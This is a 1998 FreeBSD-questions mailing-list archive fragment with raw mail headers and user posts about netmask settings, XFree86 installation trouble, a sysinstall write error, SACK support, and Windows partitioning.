by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id OAA22086; Sun, 12 Apr 1998 14:22:33 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id OAA25028; Sun, 12 Apr 1998 14:22:33 +0930 (CST) (envelope-from grog) Message-ID: <19980412142232.G24376@freebie.lemis.com> Date: Sun, 12 Apr 1998 14:22:32 +0930 From: Greg Lehey To: Tim Moony Cc: FreeBSD Questions Forum Subject: Re: What the hell is DUP! References: <19980412135937.F24376@freebie.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91i In-Reply-To: ; from Tim Moony on Sat, Apr 11, 1998 at 09:50:46PM -0700 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 April 1998 at 21:50:46 -0700, Tim Moony wrote: > > On Sun, 12 Apr 1998, Greg Lehey wrote: > >> No, I don't see any problem with your ISP. I'm sure when they said >> "any way you want", they meant "any way that works". In particular, >> though, you can't assign another name without first registering it. >> Well, you can, but it won't work. Any I suspect that you might have >> set your broadcast address on IP 41 incorrectly. If that's your >> block, your broadcast address should be 206.14.149.63, and your net >> mask should be 255.255.255.192. Is that what you have? > > I tried to changed the netmask from 206.14.149.32 to 255.255.255.192 and > that worked. Good. > All this time I've been confused by netmask and broadcast address, is > there any place where I can get super-charged? A book maybe. I was waiting for you to ask that :-) How about "The Complete FreeBSD", second edition (http://www.cdrom.com/titles/os/bsdbook2.htm)? Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 21:58:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA16328 for freebsd-questions-outgoing; Sat, 11 Apr 1998 21:58:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from value.net (goldfish@value.net [204.188.125.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA16323 for ; Sat, 11 Apr 1998 21:58:28 -0700 (PDT) (envelope-from goldfish@value.net) From: goldfish@value.net Received: from localhost (goldfish@localhost) by value.net (8.8.7/8.7.4) with SMTP id VAA13681; Sat, 11 Apr 1998 21:58:13 -0700 (PDT) Date: Sat, 11 Apr 1998 21:58:12 -0700 (PDT) To: Ben Hockenhull , Brian Somers cc: questions@FreeBSD.ORG Subject: Re: If my network is connected with NE2000, should NATD be run over , , ppp0? In-Reply-To: <199804112211.XAA07817@awfulhak.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thanks to every one that replied. I am much obliged. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 22:09:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA17446 for freebsd-questions-outgoing; Sat, 11 Apr 1998 22:09:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA17441 for ; Sat, 11 Apr 1998 22:09:23 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id WAA18707 for ; Sat, 11 Apr 1998 22:09:23 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <35304C82.2CF568A0@san.rr.com> Date: Sat, 11 Apr 1998 22:09:22 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: FreeBSD Questions Subject: Status of RFC 2018/SACK support? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am doing some research on RFC 2018 (Selective ACK) support, and I'm curious where FBSD stands on it. There are only a few references in the archives that it exists, no mention of whether we support it or not. Thanks, Doug -- *** Chief Operations Officer, DALnet IRC network *** *** Proud operator, designer and maintainer of the world's largest *** Internet Relay Chat server. 5,328 clients and still growing. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 22:21:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA18378 for freebsd-questions-outgoing; Sat, 11 Apr 1998 22:21:28 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from uniqsite.uniqsite.com. (timm@uniqsite.com [206.14.149.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA18369 for ; Sat, 11 Apr 1998 22:21:18 -0700 (PDT) (envelope-from timm@uniqsite.com) Received: from localhost (timm@localhost) by uniqsite.uniqsite.com. (8.8.7/8.8.7) with SMTP id WAA00605; Sat, 11 Apr 1998 22:21:08 -0700 (PDT) (envelope-from timm@uniqsite.com) Date: Sat, 11 Apr 1998 22:21:08 -0700 (PDT) From: Tim Moony To: Greg Lehey cc: FreeBSD Questions Forum Subject: Re: What the hell is DUP! In-Reply-To: <19980412142232.G24376@freebie.lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 12 Apr 1998, Greg Lehey wrote: > > I was waiting for you to ask that :-) How about "The Complete > FreeBSD", second edition > (http://www.cdrom.com/titles/os/bsdbook2.htm)? > > I am bought! Thx Greg. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 22:32:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA19332 for freebsd-questions-outgoing; Sat, 11 Apr 1998 22:32:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from hirame.wwa.com (hirame.wwa.com [198.49.174.10]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id WAA19323 for ; Sat, 11 Apr 1998 22:32:48 -0700 (PDT) (envelope-from ebs@wwa.com) Received: from tekka.wwa.com(really [198.49.174.44]) by hirame.wwa.com via sendmail with smtp id for ; Sun, 12 Apr 1998 00:32:35 -0500 (CDT) (Smail-3.2 1996-Jul-4 #91 built 1997-Dec-8) Date: Sun, 12 Apr 1998 00:32:35 -0500 (CDT) From: Ed To: questions@FreeBSD.ORG Subject: installation 2.2.5 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi- Xfree86 FAQ mentioned that I should mail questions to this email address, I hope it has been directed to the right place. I am attempting to install FreeBSD 2.2.5 on a clean ide hard drive, and have noticed that I cannot get any X server installed! During the installation, either full install or X-User distribution, the directory /usr/X11R6 does not get created at all, which is concerning. I have repartitioned and reloaded ALL distributions, and X refuses to load. I have tried to manually install XF86332 (from the CD installation disk), and the postinst.sh script fails to run completely, failing at ldconfig line. I have also tried to copy all the *tgz's locally, and run gzip -dc * | tar -xvf - and this unpacks all the files. When running XF86Setup, it will complete the configuration (of an S3 86C775 card), but it fails to run xinit and create a link to the server, x --> XF86_S3 I have tried to upgrade the XF86332 server, but this did not help the above situation. Is it possible that I have a bad install CD since it is refusing to load the X1R6 at all? The system is a home built Intel P200Mhz 64MB RAM, S3 Trio 64V2 PCI, Fujitsu 4.3GB ide cdrom, with a generic Shamrock 15" monitor. The FreeBSD was purchased from Walnut Creek mail order. It is 2.2.5 November 1997 release. Thank you for your help. This is the first time I am trying to get support for FreeBSD, and I am not sure where to direct this question. Thank you! Sincerely Yours, Ed Sexton ebs@wwa.com Powered by FreeBSD, the best operating system on the planet for Intel x86 based computers. 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To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 23:24:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA25562 for freebsd-questions-outgoing; Sat, 11 Apr 1998 23:24:50 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw01.execpc.com (mailgw01.execpc.com [169.207.16.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA25556 for ; Sat, 11 Apr 1998 23:24:47 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (cadezia-54.mdm.mke.execpc.com [169.207.82.54]) by mailgw01.execpc.com (8.8.8) id GAA17606; Sun, 12 Apr 1998 06:24:41 GMT Received: from darkstar.connect.com (localhost [127.0.0.1]) by darkstar.connect.com (8.8.8/8.8.8) with ESMTP id BAA22565; Sun, 12 Apr 1998 01:24:32 -0500 (CDT) Message-Id: <199804120624.BAA22565@darkstar.connect.com> Date: Sun, 12 Apr 1998 01:24:30 -0500 (CDT) From: Frank Pawlak Subject: Re: installation 2.2.5 To: ebs@wwa.com cc: questions@FreeBSD.ORG In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 12 Apr, Ed wrote: > Hi- > > Xfree86 FAQ mentioned that I should mail questions to this email address, > I hope it has been directed to the right place. > > I am attempting to install FreeBSD 2.2.5 on a clean ide hard drive, and > have noticed that I cannot get any X server installed! During the > installation, either full install or X-User distribution, the directory > /usr/X11R6 does not get created at all, which is concerning. I have > repartitioned and reloaded ALL distributions, and X refuses to load. > > I have tried to manually install XF86332 (from the CD installation disk), > and the postinst.sh script fails to run completely, failing at ldconfig > line. > > I have also tried to copy all the *tgz's locally, and run > gzip -dc * | tar -xvf - > and this unpacks all the files. When running XF86Setup, it will complete > the configuration (of an S3 86C775 card), but it fails to run xinit and > create a link to the server, x --> XF86_S3 Have you tried creating the link using ln -s XF86_s3 X in /usr/X11R6/bin? Try that and see if it works. If the display does anything flakey or the monitor startx to make noise kill the xserver or shut off the monitor. This is a sigh of misconfiguration and could damage the tube. Create the link and start the server with startx. BTW, when you ran XF86Setup did you get a server and did xvidtune run? > > > I have tried to upgrade the XF86332 server, but this did not help the > above situation. > > Is it possible that I have a bad install CD since it is refusing to load > the X1R6 at all? I have never experienced this problem, it could well be that you CD is bad. > > The system is a home built Intel P200Mhz 64MB RAM, S3 Trio 64V2 PCI, > Fujitsu 4.3GB ide cdrom, with a generic Shamrock 15" monitor. > > The FreeBSD was purchased from Walnut Creek mail order. It is 2.2.5 > November 1997 release. > > Thank you for your help. This is the first time I am trying to get > support for FreeBSD, and I am not sure where to direct this question. > Thank you! > > Sincerely Yours, > > Ed Sexton > ebs@wwa.com > > > > Powered by FreeBSD, the best operating system on the planet > for Intel x86 based computers. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message -- ----------------------------- "At no time is freedom of speech more precious then when a man hits his thumb with a hammer." -- Marshall Lumsden To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 23:27:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA25849 for freebsd-questions-outgoing; Sat, 11 Apr 1998 23:27:02 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ms11.hinet.net (root@ms11.hinet.net [168.95.4.11]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA25814 for ; Sat, 11 Apr 1998 23:26:57 -0700 (PDT) (envelope-from jwlo@ms11.hinet.net) Received: from ms11.hinet.net (h161.s7.ts32.hinet.net [163.32.7.161]) by ms11.hinet.net (8.8.8/8.8.8) with ESMTP id OAA03308 for ; Sun, 12 Apr 1998 14:29:18 +0800 (CST) Message-ID: <35305DDA.924479CD@ms11.hinet.net> Date: Sun, 12 Apr 1998 14:23:23 +0800 From: Doug Lo Reply-To: jwlo@ms11.hinet.net X-Mailer: Mozilla 4.05 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Installation problem Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I installed FreeBSD 2.2.6-RELEASE successfully. Then I wanna install other packages, (/src/sys), I run /stand/sysinstall and select media from DOS, then it got an error: "Write failure on transfer!(wrote -1 bytes of 1024 bytes)" What's going on? Would anyone help me to solve this problem? Thanks in advance, Doug. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 23:35:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA27345 for freebsd-questions-outgoing; Sat, 11 Apr 1998 23:35:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dan.emsphone.com (dan@dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA27308 for ; Sat, 11 Apr 1998 23:34:24 -0700 (PDT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.8.8/8.8.6) id BAA07286; Sun, 12 Apr 1998 01:34:22 -0500 (CDT) Message-ID: <19980412013422.A7152@emsphone.com> Date: Sun, 12 Apr 1998 01:34:22 -0500 From: Dan Nelson To: Studded , FreeBSD Questions Subject: Re: Status of RFC 2018/SACK support? References: <35304C82.2CF568A0@san.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.90.10i In-Reply-To: <35304C82.2CF568A0@san.rr.com>; from "Studded" on Sat Apr 11 22:09:22 GMT 1998 X-OS: FreeBSD 2.2.6-STABLE Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In the last episode (Apr 11), Studded said: > I am doing some research on RFC 2018 (Selective ACK) support, and I'm > curious where FBSD stands on it. There are only a few references in > the archives that it exists, no mention of whether we support it or > not. Luigi Rizzo has SACK/TSACK patches for 2.1.6 at http://www.iet.unipi.it/~luigi/research.html; I have been able to apply them to both 2.2.6 and 3.0 with only a few rejects. In fact, the 2.2.6 box I'm typing from still has them in my CVS tree/kernel and they seem to work. I can send you diffs if you want, but I can't guarantee that they _really_ work correctly. I know nothing about the TCP code at all, so I could have broken something trying to merge the rejected bits in. It looks like there is/was another implementation of SACK onto 2.1.6; http://irl.cs.ucla.edu/sack.html says that part of its testbed was 2.1.6 machines. You might want to check out the Yahoo section [ Computers and Internet / Information and Documentation / Protocols / TCP/IP / TCP Selective Acknowledgment (SACK) ] for more info. -Dan Nelson dnelson@emsphone.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 23:47:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA29121 for freebsd-questions-outgoing; Sat, 11 Apr 1998 23:47:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from imo13.mx.aol.com (imo13.mx.aol.com [198.81.17.35]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA29106 for ; Sat, 11 Apr 1998 23:47:46 -0700 (PDT) (envelope-from Shushubabe@aol.com) Received: from Shushubabe@aol.com by imo13.mx.aol.com (IMOv13.ems) id HHYMa02392 for ; Sun, 12 Apr 1998 02:47:08 -0500 (EDT) From: Shushubabe Message-ID: <3ab4f99c.3530636e@aol.com> Date: Sun, 12 Apr 1998 02:47:08 EDT To: freebsd-questions@FreeBSD.ORG Mime-Version: 1.0 Subject: Help!!!! Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Windows 95 sub 52 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG To Whom it May Concern, I'm looking for an installation procedure for a Window's NT & Window's 95 partition could you give me some help on where I should be looking for this information. Please E-mail me at davidasawickijr@juno.com. Thank you for your help. Sincerely Yours, David Sawicki Jr. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message